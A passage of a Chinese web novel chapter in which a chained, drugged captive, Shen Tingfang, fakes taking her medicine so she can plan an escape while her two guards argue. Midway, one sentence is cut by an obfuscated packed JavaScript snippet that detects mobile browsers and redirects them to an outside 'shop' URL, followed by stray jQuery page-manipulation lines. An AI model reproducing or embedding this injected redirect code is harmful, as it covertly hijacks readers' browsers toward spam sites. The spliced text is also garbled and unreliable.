“庭芳……”
许龄真的脸色骤然发白。
她猛然后退,撞到了桌角上,痛得直吸气。
“庭芳,你竟然恨我……你知不知道,我这是救了你呀!”
“宁海城中风传你与都督日夜颠鸾倒凤,把你传得……很不堪,如果你留在宁海城,你会被这些谣言逼死的!”
“就像我一样,有家回不得,只能人不人鬼不鬼地躲起来……庭芳,我不想看着你被人逼死,所以我才出此下策,我想带着你一起回京城,我外祖家在京城。”
“等到了京城,外祖母和舅舅会替我做主,让我嫁给赵承钧的,你若是不想跟着都督过日子,那就住在我那里,或者,你跟我一起嫁给赵承钧,我做正室,你做贵妾,我们两个仍旧做好姐妹,好不好?”
沈庭芳深吸一口气,忽地往许龄真身上扑去。
铁链哗啦啦作响,猛地绷直,狠狠地拽住沈庭芳的脚踝。
她身上绵软无力,脸朝下摔倒在地上。
“滚,你给我滚!”
许龄真哭得上气不接下气。
“庭芳,我真的是为你好,你为什么不领情?你如果不想嫁给赵承钧,那你再等等,我哥哥年底便要送月表姐进京,他会在外祖家住下,备考明年的春闱,春闱结束,他就会与月表姐成亲,到时候,我求他娶你做小,好不好?”
“你放心,月表姐为**方温柔,她也很喜欢你,你们一定能相处得很好的。”
她越说越起劲,还想着上前来扶沈庭芳。
可却又不敢。
沈庭芳好似疯了一样。
她拼命地挣扎着。
绑在脚踝上的铁链哗啦啦作响,让许龄真更害怕了。
“庭芳,我……我先出去了,你别这样,你身上还有伤,你……你得好好养身子。”
门被掩上了。
屋里只剩下铁链撞击的动静。
一声一声,撞得人心里烦躁不堪。
许久,这动静才停了下来。
沈庭芳仰面躺着,无声无息地流泪。
两只脚踝早已被铁链磨出了血。
新伤叠旧痕,层层叠叠,结了血痂,又被磨破,不知猴年马月才能好。
无论她怎么努力,都无法挣脱开铁链的束缚。
京城已经越来越近,等入了京城,她就再也逃不脱了。
好在,楚怀先行进京,拨了一队银甲卫护送她。
这几日只有许龄真和那个叫银蕊的丫头寸步不离地守在她的床前。
她只要能支开这两个人,挣脱开铁链的束缚,说不定还能逃出生天。
可要想做到这两点,又谈何容易。
船舱里慢慢暗下来,银蕊进来点灯,见沈庭芳躺在地上,就惊了一跳。
“夫人这是何苦呢?叫都督瞧见了,该心疼了。”
她把沈庭芳扶到床上,就端来了药汤。
白瓷碗里的药汤黑乎乎的,黑得发亮,又很粘稠,散发着一股难闻的味道。
银蕊端过来时,还用帕子捂着鼻子。
“夫人快喝吧,喝了这碗药,就能睡得舒服一些。”
沈庭芳淡淡道:“不用你喂我,我自己来。”
银蕊喜得眉开眼笑:“哎呀,夫人终于肯开口跟奴婢说话了!真是谢天谢地,奴婢还以为夫人一辈子都不想搭理奴婢呢。”
沈庭芳勉强挤出一丝笑容。
“我已经想明白了,与其郁郁寡欢,惹都督不高兴,不如就这么认命吧,都督喜欢看我笑,我多笑笑,他就能多宠我几分。”
银蕊拍着手掌笑。
“这就对了!夫人不要以为都督眼下宠你,便万事大吉,奴婢被阁老府上卖出京城的时候,还听说都督府上有十几个美娇娘,个个都是天仙。”
“倘若夫人不得都督的宠爱,在都督府里,怕是要被那些个美娇娘欺负死,都督的脾气又不好,夫人一直不给都督好脸色,都督哪一日失去了耐心,说不定就会……”
银蕊打了个寒战。
楚千岁的大名谁不知晓?
惹了楚千岁不高兴,那就等着吧,自有一千一万种死法摆在面前。
沈庭芳抿了抿嘴,让银蕊扶她起来。
“把药碗给我。”
她憋着气,一口将药吞下,就摆摆手,赶银蕊出去。
“去做些甜汤给我吃,这药太苦了。”
银蕊笑着点点头,却坐在床边不肯走,硬生生陪着沈庭芳说了几句话,直到沈庭芳不耐烦了,说了好几次要喝甜汤,她才
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17160781|196597||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
出门去了。
她一走,沈庭芳就把手伸进嗓子里,使劲儿地抠。
抠了半晌,才将方才吃下去的药尽数吐到被子里。
楚怀不知道给她吃了什么药。
每次一吃下去,过不了一会儿,她就会陷入昏睡中,身上也没什么力气,只能任人摆布。
要想逃出去,她就不能吃这个药。
往常她不肯吃药,都是银蕊和许龄真把药灌进她的肚子里。
今日她乖乖配合,银蕊果然放松了警惕。
药虽然吐了出来,但多少还是吃进去了一些。
她闭上双眼,很快就迷糊了。
人昏昏沉沉,没什么力气,睁不开眼睛,可听力尚在,脑子也还算清醒。
她能清楚地听到银蕊和许龄真的对话。
“瞧,我说的是真的吧?她已经认命了,自己乖乖喝药,还说什么要吃甜汤,哼,我做了甜汤来,她也吃不了,这不,早就睡过去了。”
许龄真不放心:“你亲眼看着她吃下去的?她没吐出来?”
“我在这儿坐了好一会儿,和她说了几句话,才出去的,你要是不信我,下回你来喂药。”
许龄真死死瞪着银蕊:“死丫头,少跟我犟嘴,我这也是为了你好,她要是出个什么差错,你我都活不了!”
床上的沈庭芳跟往常一样,睡得很沉。
许龄真却依旧不放心,干脆用簪子狠狠地扎了扎沈庭芳的脚踝。
那里本来就被铁链磨破了,再用簪子扎,看得银蕊都觉得疼。
“你干什么!”
银蕊扑过去,用被子盖住沈庭芳的脚踝。
“她可是都督极为看重的人,要是有个闪失,你以为你能活得下去?好了,别磋磨她了,你看她这不是睡得好好的?”
许龄真凑近了看,沈庭芳果然毫无反应,睡得很香甜。
她便松了一口气,捂着脸又哭了:“庭芳,我……我不是故意的,我只是怕你想不开跑了,你……你将来总会知道我的苦心……”
银蕊撇了撇嘴:“猫哭耗子假慈悲,快走吧,饭菜都快凉了。”
许龄真这才跟着银蕊走了。
屋中重归寂静。
床上的沈庭芳缓缓睁开了双眼。